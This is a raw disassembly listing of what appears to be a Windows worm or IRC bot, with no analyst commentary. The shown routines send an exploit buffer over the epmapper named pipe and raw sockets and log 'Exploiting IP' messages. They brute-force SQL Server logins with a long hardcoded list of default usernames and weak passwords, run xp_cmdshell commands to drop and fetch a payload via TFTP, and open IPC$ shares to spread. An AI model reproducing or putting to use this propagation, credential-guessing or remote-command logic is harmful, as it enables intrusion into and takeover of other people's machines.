		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_41BB45
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_41BC00
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	near ptr sub_41C9B0
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_40DE3B:				; CODE XREF: sub_40DBEF+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40DBEF	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_41C190
		cmp	dword ptr [ebp+0A8h], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_40DFAD
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DA56
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E0BD
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-338h]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp-338h]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	dword_4280F8	; CreateFileA
		mov	[ebp-4], eax
		cmp	eax, 0FFFFFFFFh
		lea	eax, [ebp+0Ch]
		jnz	short loc_40DEC4


loc_40DEB8:				; CODE XREF: .XPack0:0040DF65j
		push	eax
		call	sub_40DB39
		pop	ecx
		jmp	loc_40E0BD
; ---------------------------------------------------------------------------


loc_40DEC4:				; CODE XREF: .XPack0:0040DEB6j
		push	2
		push	eax
		call	sub_418416
		pop	ecx
		lea	esi, [ebp+8]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DBEF
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp-8], eax
		jz	short loc_40DF59
		mov	edi, 186A0h
		push	edi
		call	sub_41BB45
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_41BC00
		add	esp, 10h
		lea	eax, [ebp-0Ch]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_435098
		push	dword ptr [ebp-4]
		call	dword_4280F4	; TransactNamedPipe
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_40DF49
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		call	dword_4280F0	; WriteFile
		test	eax, eax
		jnz	short loc_40DF6A


loc_40DF49:				; CODE XREF: .XPack0:0040DF2Fj
		push	esi
		call	sub_41B721
		push	dword ptr [ebp-8]
		call	sub_41B721
		pop	ecx
		pop	ecx


loc_40DF59:				; CODE XREF: .XPack0:0040DEF5j
		push	dword ptr [ebp-4]
		call	dword_428070	; CloseHandle
		lea	eax, [ebp+0Ch]
		jmp	loc_40DEB8
; ---------------------------------------------------------------------------


loc_40DF6A:				; CODE XREF: .XPack0:0040DF47j
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp-4]
		call	dword_4280EC	; ReadFile
		push	dword ptr [ebp-8]
		mov	edi, eax
		call	sub_41B721
		push	esi
		call	sub_41B721
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		call	dword_428070	; CloseHandle
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DB39
		cmp	edi, 1
		pop	ecx
		jnz	loc_40E0D1
		jmp	loc_40E0BD
; ---------------------------------------------------------------------------


loc_40DFAD:				; CODE XREF: .XPack0:0040DE59j
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_418416
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_40E0BD
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_4CE388	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_40E0BD
		push	10h
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		mov	word ptr [ebp-24h], 2
		push	dword ptr [ebp+0A8h]
		call	dword_4CE308	; ntohs
		mov	[ebp-22h], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CE348	; inet_addr
		mov	[ebp-20h], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	esi
		push	eax
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DBEF
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40E03F
		push	dword ptr [ebp-4]
		jmp	short loc_40E0B7
; ---------------------------------------------------------------------------


loc_40E03F:				; CODE XREF: .XPack0:0040E038j
		mov	edi, [ebp-4]
		lea	eax, [ebp-24h]
		push	10h
		push	eax
		push	edi
		call	dword_4CE2B0	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E057


loc_40E054:				; CODE XREF: .XPack0:0040E069j
		push	esi
		jmp	short loc_40E0B0
; ---------------------------------------------------------------------------


loc_40E057:				; CODE XREF: .XPack0:0040E052j
		push	ebx
		push	48h
		push	offset dword_435098
		push	edi
		call	dword_4CE358	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E054
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CE320	; recv
		push	ebx
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-8]
		push	edi
		call	dword_4CE358	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E098
		push	dword ptr [ebp-8]
		jmp	short loc_40E0B0
; ---------------------------------------------------------------------------


loc_40E098:				; CODE XREF: .XPack0:0040E091j
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CE320	; recv
		push	dword ptr [ebp-8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0C4


loc_40E0B0:				; CODE XREF: .XPack0:0040E055j
					; .XPack0:0040E096j
		call	sub_41B721
		pop	ecx
		push	edi


loc_40E0B7:				; CODE XREF: .XPack0:0040E03Dj
		call	dword_4CE3A0	; closesocket


loc_40E0BD:				; CODE XREF: .XPack0:0040DE70j
					; .XPack0:0040DEBFj ...
		xor	eax, eax
		jmp	loc_40E17C
; ---------------------------------------------------------------------------


loc_40E0C4:				; CODE XREF: .XPack0:0040E0AEj
		call	sub_41B721
		pop	ecx
		push	edi
		call	dword_4CE3A0	; closesocket


loc_40E0D1:				; CODE XREF: .XPack0:0040DFA2j
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-234h]
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		xor	esi, esi


loc_40E0EB:				; CODE XREF: .XPack0:0040E10Bj
		lea	eax, [ebp-234h]
		push	eax
		call	sub_416026
		test	eax, eax
		pop	ecx
		jnz	short loc_40E10F
		push	1388h
		call	dword_428080	; Sleep
		inc	esi
		cmp	esi, 6
		jl	short loc_40E0EB
		jmp	short loc_40E179
; ---------------------------------------------------------------------------


loc_40E10F:				; CODE XREF: .XPack0:0040E0FAj
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		lea	eax, [ebp-234h]
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		push	eax
		call	sub_41BEF6
		add	esp, 10h
		cmp	[ebp+0BCh], ebx
		jnz	short loc_40E15B
		push	ebx
		lea	eax, [ebp-234h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409743
		add	esp, 14h


loc_40E15B:				; CODE XREF: .XPack0:0040E13Cj
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415F45
		mov	eax, [ebp+0B0h]
		pop	ecx
		shl	eax, 6
		lea	eax, dword_434060[eax]
		inc	dword ptr [eax]


loc_40E179:				; CODE XREF: .XPack0:0040E10Dj
		xor	eax, eax
		inc	eax


loc_40E17C:				; CODE XREF: .XPack0:0040E0BFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1064h
		call	sub_41C190
		mov	al, byte_4404C4
		push	ebx
		push	esi
		push	edi
		mov	[ebp-1], al
		mov	esi, offset aSa	; "sa"
		mov	ecx, offset aRoot ; "root"
		mov	eax, offset aAdmin ; "admin"
		xor	edi, edi
		mov	ebx, offset byte_4404C4
		mov	edx, offset aInternet ;	"internet"
		mov	[ebp-34h], esi
		mov	[ebp-30h], ecx
		mov	[ebp-2Ch], eax
		mov	[ebp-28h], edi
		mov	[ebp-264h], ebx
		mov	dword ptr [ebp-260h], offset aAdministrator ; "administrator"
		mov	dword ptr [ebp-25Ch], offset aAdministrador ; "administrador"
		mov	dword ptr [ebp-258h], offset aAdministrateur ; "administrateur"
		mov	dword ptr [ebp-254h], offset aAdministrat ; "administrat"
		mov	dword ptr [ebp-250h], offset aAdmins ; "admins"
		mov	[ebp-24Ch], eax
		mov	dword ptr [ebp-248h], offset aAdm ; "adm"
		mov	dword ptr [ebp-244h], offset aPassword1	; "password1"
		mov	dword ptr [ebp-240h], offset aPassword ; "password"
		mov	dword ptr [ebp-23Ch], offset aPasswd ; "passwd"
		mov	dword ptr [ebp-238h], offset aPass1234 ; "pass1234"
		mov	dword ptr [ebp-234h], offset aPass ; "pass"
		mov	dword ptr [ebp-230h], offset aPwd ; "pwd"
		mov	dword ptr [ebp-22Ch], offset a007 ; "007"
		mov	dword ptr [ebp-228h], offset a1	; "1"
		mov	dword ptr [ebp-224h], offset a12 ; "12"
		mov	dword ptr [ebp-220h], offset a123 ; "123"
		mov	dword ptr [ebp-21Ch], offset a1234 ; "1234"
		mov	dword ptr [ebp-218h], offset a12345 ; "12345"
		mov	dword ptr [ebp-214h], offset a123456 ; "123456"
		mov	dword ptr [ebp-210h], offset a1234567 ;	"1234567"
		mov	dword ptr [ebp-20Ch], offset a12345678 ; "12345678"
		mov	dword ptr [ebp-208h], offset a123456789	; "123456789"
		mov	dword ptr [ebp-204h], offset a1234567890 ; "1234567890"
		mov	dword ptr [ebp-200h], offset a2000 ; "2000"
		mov	dword ptr [ebp-1FCh], offset a2001 ; "2001"
		mov	dword ptr [ebp-1F8h], offset a2002 ; "2002"
		mov	dword ptr [ebp-1F4h], offset a2003 ; "2003"
		mov	dword ptr [ebp-1F0h], offset a2004 ; "2004"
		mov	dword ptr [ebp-1ECh], offset aTest ; "test"
		mov	dword ptr [ebp-1E8h], offset aGuest ; "guest"
		mov	dword ptr [ebp-1E4h], offset aNone ; "none"
		mov	dword ptr [ebp-1E0h], offset aDemo ; "demo"
		mov	dword ptr [ebp-1DCh], offset aUnix ; "unix"
		mov	dword ptr [ebp-1D8h], offset aLinux ; "linux"
		mov	dword ptr [ebp-1D4h], offset aChangeme ; "changeme"
		mov	dword ptr [ebp-1D0h], offset aDefault ;	"default"
		mov	dword ptr [ebp-1CCh], offset aSystem ; "system"
		mov	dword ptr [ebp-1C8h], offset aServer ; "server"
		mov	[ebp-1C4h], ecx
		mov	dword ptr [ebp-1C0h], offset aNull ; "null"
		mov	dword ptr [ebp-1BCh], offset aQwerty ; "qwerty"
		mov	dword ptr [ebp-1B8h], offset aMail ; "mail"
		mov	dword ptr [ebp-1B4h], offset aOutlook ;	"outlook"
		mov	dword ptr [ebp-1B0h], offset aWeb ; "web"
		mov	dword ptr [ebp-1ACh], offset aWww ; "www"
		mov	[ebp-1A8h], edx
		mov	dword ptr [ebp-1A4h], offset aAccounts ; "accounts"
		mov	dword ptr [ebp-1A0h], offset aAccounting ; "accounting"
		mov	dword ptr [ebp-19Ch], offset aHome ; "home"
		mov	dword ptr [ebp-198h], offset aHomeuser ; "homeuser"
		mov	dword ptr [ebp-194h], offset aUser ; "user"
		mov	dword ptr [ebp-190h], offset aOem ; "oem"
		mov	dword ptr [ebp-18Ch], offset aOemuser ;	"oemuser"
		mov	dword ptr [ebp-188h], offset aOeminstall ; "oeminstall"
		mov	dword ptr [ebp-184h], offset aWindows ;	"windows"
		mov	dword ptr [ebp-180h], offset aWin98 ; "win98"
		mov	dword ptr [ebp-17Ch], offset aWin2k ; "win2k"
		mov	dword ptr [ebp-178h], offset aWinxp ; "winxp"
		mov	dword ptr [ebp-174h], offset aWinnt ; "winnt"
		mov	dword ptr [ebp-170h], offset aWin2000 ;	"win2000"
		mov	dword ptr [ebp-16Ch], offset aQaz ; "qaz"
		mov	dword ptr [ebp-168h], offset aAsd ; "asd"
		mov	ecx, offset aBob ; "bob"
		mov	eax, offset aPeter ; "peter"
		mov	dword ptr [ebp-164h], offset aZxc ; "zxc"
		mov	dword ptr [ebp-160h], offset aQwe ; "qwe"
		mov	[ebp-15Ch], ecx
		mov	dword ptr [ebp-158h], offset aJen ; "jen"
		mov	dword ptr [ebp-154h], offset aJoe ; "joe"
		mov	dword ptr [ebp-150h], offset aFred ; "fred"
		mov	dword ptr [ebp-14Ch], offset aBill ; "bill"
		mov	dword ptr [ebp-148h], offset aMike ; "mike"
		mov	dword ptr [ebp-144h], offset aJohn ; "john"
		mov	[ebp-140h], eax
		mov	dword ptr [ebp-13Ch], offset aLuke ; "luke"
		mov	dword ptr [ebp-138h], offset aSam ; "sam"
		mov	dword ptr [ebp-134h], offset aSue ; "sue"
		mov	dword ptr [ebp-130h], offset aSusan ; "susan"
		mov	[ebp-12Ch], eax
		mov	dword ptr [ebp-128h], offset aBrian ; "brian"
		mov	dword ptr [ebp-124h], offset aLee ; "lee"
		mov	dword ptr [ebp-120h], offset aNeil ; "neil"
		mov	dword ptr [ebp-11Ch], offset aIan ; "ian"
		mov	dword ptr [ebp-118h], offset aChris ; "chris"
		mov	dword ptr [ebp-114h], offset aEric ; "eric"
		mov	dword ptr [ebp-110h], offset aGeorge ; "george"
		mov	dword ptr [ebp-10Ch], offset aKate ; "kate"
		mov	[ebp-108h], ecx
		mov	dword ptr [ebp-104h], offset aKatie ; "katie"
		mov	dword ptr [ebp-100h], offset aMary ; "mary"
		mov	dword ptr [ebp-0FCh], offset aLogin ; "login"
		mov	dword ptr [ebp-0F8h], offset aLoginpass	; "loginpass"
		mov	dword ptr [ebp-0F4h], offset aTechnical	; "technical"
		mov	dword ptr [ebp-0F0h], offset aBackup ; "backup"
		mov	dword ptr [ebp-0ECh], offset aExchange ; "exchange"
		mov	dword ptr [ebp-0E8h], offset aFuck ; "fuck"
		mov	dword ptr [ebp-0E4h], offset aBitch ; "bitch"
		mov	dword ptr [ebp-0E0h], offset aSlut ; "slut"
		mov	dword ptr [ebp-0DCh], offset aSex ; "sex"
		mov	dword ptr [ebp-0D8h], offset aGod ; "god"
		mov	dword ptr [ebp-0D4h], offset aHell ; "hell"
		mov	dword ptr [ebp-0D0h], offset aHello ; "hello"
		mov	dword ptr [ebp-0CCh], offset aDomain ; "domain"
		mov	dword ptr [ebp-0C8h], offset aDomainpass ; "domainpass"
		mov	dword ptr [ebp-0C4h], offset aDomainpassword ; "domainpassword"
		mov	dword ptr [ebp-0C0h], offset aDatabase ; "database"
		mov	dword ptr [ebp-0BCh], offset aAccess ; "access"
		mov	dword ptr [ebp-0B8h], offset aDbpass ; "dbpass"
		mov	dword ptr [ebp-0B4h], offset aDbpassword ; "dbpassword"
		mov	dword ptr [ebp-0B0h], offset aDatabasepass ; "databasepass"
		mov	dword ptr [ebp-0ACh], offset aData ; "data"
		mov	dword ptr [ebp-0A8h], offset aDatabasepasswo ; "databasepassword"
		mov	dword ptr [ebp-0A4h], offset aDb1 ; "db1"
		mov	dword ptr [ebp-0A0h], offset aDb2 ; "db2"
		mov	dword ptr [ebp-9Ch], offset aDb1234 ; "db1234"
		mov	[ebp-98h], esi
		mov	dword ptr [ebp-94h], offset aSql ; "sql"
		mov	dword ptr [ebp-90h], offset aSqlpassoainsta ; "sqlpassoainstall"
		mov	dword ptr [ebp-8Ch], offset aOrainstall	; "orainstall"
		mov	dword ptr [ebp-88h], offset aOracle ; "oracle"
		mov	dword ptr [ebp-84h], offset aIbm ; "ibm"
		mov	dword ptr [ebp-80h], offset aCisco ; "cisco"
		mov	dword ptr [ebp-7Ch], offset aDell ; "dell"
		mov	dword ptr [ebp-78h], offset aCompaq ; "compaq"
		mov	dword ptr [ebp-74h], offset aSiemens ; "siemens"
		mov	dword ptr [ebp-70h], offset aHp	; "hp"
		mov	dword ptr [ebp-6Ch], offset aNokia ; "nokia"
		mov	dword ptr [ebp-68h], offset aXp	; "xp"
		mov	dword ptr [ebp-64h], offset aControl ; "control"
		mov	dword ptr [ebp-60h], offset aOffice ; "office"
		mov	dword ptr [ebp-5Ch], offset aBlank ; "blank"
		mov	dword ptr [ebp-58h], offset aWinpass ; "winpass"
		mov	dword ptr [ebp-54h], offset aMain ; "main"
		mov	dword ptr [ebp-50h], offset aLan ; "lan"
		mov	[ebp-4Ch], edx
		mov	dword ptr [ebp-48h], offset aIntranet ;	"intranet"
		mov	dword ptr [ebp-44h], offset aStudent ; "student"
		mov	dword ptr [ebp-40h], offset aTeacher ; "teacher"
		mov	dword ptr [ebp-3Ch], offset aStaff ; "staff"
		mov	[ebp-38h], edi
		mov	[ebp-20h], edi
		mov	[ebp-10h], edi
		mov	[ebp-14h], edi
		lea	eax, [ebp-18h]
		push	eax
		push	edi
		push	1
		call	dword_4CE284
		test	ax, ax
		jnz	short loc_40E70F
		push	0FFFFFFFAh
		push	3
		push	0C8h
		push	dword ptr [ebp-18h]
		call	dword_4CE390
		test	ax, ax
		jz	short loc_40E716


loc_40E70F:				; CODE XREF: .XPack0:0040E6F6j
		xor	eax, eax
		jmp	loc_40E93A
; ---------------------------------------------------------------------------


loc_40E716:				; CODE XREF: .XPack0:0040E70Dj
		lea	eax, [ebp-10h]
		push	eax
		push	dword ptr [ebp-18h]
		push	2
		call	dword_4CE284
		test	ax, ax
		jnz	loc_40E92D
		mov	[ebp-1Ch], esi
		mov	esi, dword_428080
		mov	[ebp-0Ch], edi


loc_40E73A:				; CODE XREF: .XPack0:0040E887j
		mov	[ebp-8], edi
		mov	eax, ebx


loc_40E73F:				; CODE XREF: .XPack0:0040E7B6j
		lea	ecx, [ebp-1]
		push	ecx
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	eax, [ebp+0Ch]
		push	dword ptr [ebp+0A8h]
		push	eax
		lea	eax, [ebp-0C64h]
		push	offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
		push	eax
		call	sub_41BEF6
		add	esp, 1Ch
		lea	eax, [ebp-22h]
		push	edi
		push	eax
		lea	eax, [ebp-1064h]
		push	400h
		push	eax
		lea	eax, [ebp-0C64h]
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp-0C64h]
		push	eax
		push	edi
		push	dword ptr [ebp-10h]
		call	dword_4CE344
		cmp	ax, di
		jz	short loc_40E7BD
		cmp	ax, 1
		jz	short loc_40E7BD
		push	1F4h
		call	esi	; Sleep
		inc	dword ptr [ebp-8]
		mov	eax, [ebp-8]
		mov	eax, [ebp+eax*4-264h]
		cmp	eax, edi
		jnz	short loc_40E73F
		jmp	loc_40E878
; ---------------------------------------------------------------------------


loc_40E7BD:				; CODE XREF: .XPack0:0040E798j
					; .XPack0:0040E79Ej
		lea	eax, [ebp-14h]
		push	eax
		push	dword ptr [ebp-10h]
		push	3
		call	dword_4CE284
		mov	eax, offset byte_42AA54
		push	eax
		push	eax
		call	sub_41BF52
		push	eax
		call	sub_41BF52
		push	eax
		push	dword_4CE048
		push	dword ptr [ebp+8]
		call	sub_40A8D5
		pop	ecx
		push	eax
		lea	eax, [ebp-864h]
		push	offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
		push	eax
		call	sub_41BEF6
		add	esp, 20h
		lea	eax, [ebp-864h]
		push	0FFFFFFFDh
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CE2CC
		test	ax, ax
		jz	short loc_40E86D
		push	1388h
		call	esi	; Sleep
		push	offset byte_42AA54
		lea	eax, [ebp-864h]
		push	offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-464h]
		push	offset dword_435668
		push	eax
		call	sub_41BEF6
		add	esp, 18h
		lea	eax, [ebp-864h]
		push	0FFFFFFFDh
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CE2CC
		test	ax, ax
		jz	short loc_40E892
		push	1388h
		call	esi	; Sleep


loc_40E86D:				; CODE XREF: .XPack0:0040E818j
		push	dword ptr [ebp-14h]
		push	3
		call	dword_4CE324


loc_40E878:				; CODE XREF: .XPack0:0040E7B8j
		inc	dword ptr [ebp-0Ch]
		mov	eax, [ebp-0Ch]
		mov	eax, [ebp+eax*4-34h]
		cmp	eax, edi
		mov	[ebp-1Ch], eax
		jnz	loc_40E73A
		jmp	loc_40E91F
; ---------------------------------------------------------------------------


loc_40E892:				; CODE XREF: .XPack0:0040E864j
		mov	eax, [ebp-8]
		mov	dword ptr [ebp-20h], 1
		push	dword ptr [ebp+eax*4-264h]
		mov	eax, [ebp-0Ch]
		push	dword ptr [ebp+eax*4-34h]
		lea	eax, [ebp+0Ch]
		push	dword ptr [ebp+0A8h]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset dword_435628
		lea	eax, [ebp-464h]
		push	200h
		push	eax
		call	sub_41BFF0
		add	esp, 20h
		cmp	[ebp+0BCh], edi
		jnz	short loc_40E901
		push	edi
		lea	eax, [ebp-464h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409743
		add	esp, 14h


loc_40E901:				; CODE XREF: .XPack0:0040E8E2j
		lea	eax, [ebp-464h]
		push	eax
		call	sub_415F45
		mov	eax, [ebp+0B0h]
		pop	ecx
		shl	eax, 6
		lea	eax, dword_434060[eax]
		inc	dword ptr [eax]


loc_40E91F:				; CODE XREF: .XPack0:0040E88Dj
		push	dword ptr [ebp-10h]
		push	2
		call	dword_4CE324
		mov	edi, [ebp-20h]


loc_40E92D:				; CODE XREF: .XPack0:0040E728j
		push	dword ptr [ebp-18h]
		push	1
		call	dword_4CE324
		mov	eax, edi


loc_40E93A:				; CODE XREF: .XPack0:0040E711j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40E93F	proc near		; DATA XREF: .XPack0:0042A00Co
		jmp	$+5
sub_40E93F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E944	proc near
		mov	eax, dword_435900
		add	eax, 6
		mov	dword_4D1014, eax
		retn
sub_40E944	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E952	proc near		; CODE XREF: sub_40E952+D0p
					; sub_40EA40+484p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40E966
		or	[ebp+arg_7], 1
		jmp	short loc_40E96A
; ---------------------------------------------------------------------------


loc_40E966:				; CODE XREF: sub_40E952+Cj
		and	[ebp+arg_7], 0FEh


loc_40E96A:				; CODE XREF: sub_40E952+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40E98E
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40E9A0
; ---------------------------------------------------------------------------


loc_40E98E:				; CODE XREF: sub_40E952+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40E9A0:				; CODE XREF: sub_40E952+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41BB45
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40EA39
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	dword_4280F0	; WriteFile
		test	eax, eax
		jz	short loc_40EA30
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40EA30
		push	[ebp+arg_20]
		call	sub_41B721
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40EA2C
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40E952
		add	esp, 2Ch
		jmp	short loc_40EA3B
; ---------------------------------------------------------------------------


loc_40EA2C:				; CODE XREF: sub_40E952+B3j
		mov	al, 1
		jmp	short loc_40EA3B
; ---------------------------------------------------------------------------


loc_40EA30:				; CODE XREF: sub_40E952+9Cj
					; sub_40E952+A4j
		push	[ebp+arg_20]
		call	sub_41B721
		pop	ecx


loc_40EA39:				; CODE XREF: sub_40E952+61j
		xor	al, al


loc_40EA3B:				; CODE XREF: sub_40E952+D8j
					; sub_40E952+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E952	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EA40	proc near		; CODE XREF: .XPack0:0040EFAAp
					; .XPack0:0040EFD1p

var_60E0	= byte ptr -60E0h
var_40E0	= byte ptr -40E0h
var_20E0	= byte ptr -20E0h
var_E0		= byte ptr -0E0h
var_CC		= dword	ptr -0CCh
var_C0		= byte ptr -0C0h
var_BC		= byte ptr -0BCh
var_BB		= byte ptr -0BBh
var_BA		= byte ptr -0BAh
var_B9		= byte ptr -0B9h
var_B8		= dword	ptr -0B8h
var_B4		= word ptr -0B4h
var_B2		= word ptr -0B2h
var_B0		= dword	ptr -0B0h
var_AC		= word ptr -0ACh
var_AA		= word ptr -0AAh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= word ptr -0A0h
var_9E		= byte ptr -9Eh
var_9C		= byte ptr -9Ch
var_8C		= dword	ptr -8Ch
var_88		= byte ptr -88h
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= qword	ptr -68h
var_60		= byte ptr -60h
var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A8		= dword	ptr  0B0h
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		mov	eax, 60E0h
		call	sub_41C190
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+arg_4]
		push	offset a_	; "."
		push	eax
		call	sub_41D800
		pop	ecx
		xor	ebx, ebx
		test	eax, eax
		pop	ecx
		mov	esi, 2000h
		jz	short loc_40EAB4
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset aSIpc	; "\\\\%s\\ipc$"
		lea	eax, [ebp+var_20E0]
		push	esi
		push	eax
		call	sub_41BFF0
		push	20h
		lea	eax, [ebp+var_E0]
		push	ebx
		push	eax
		call	sub_41BC00
		lea	eax, [ebp+var_20E0]
		add	esp, 1Ch
		mov	[ebp+var_CC], eax
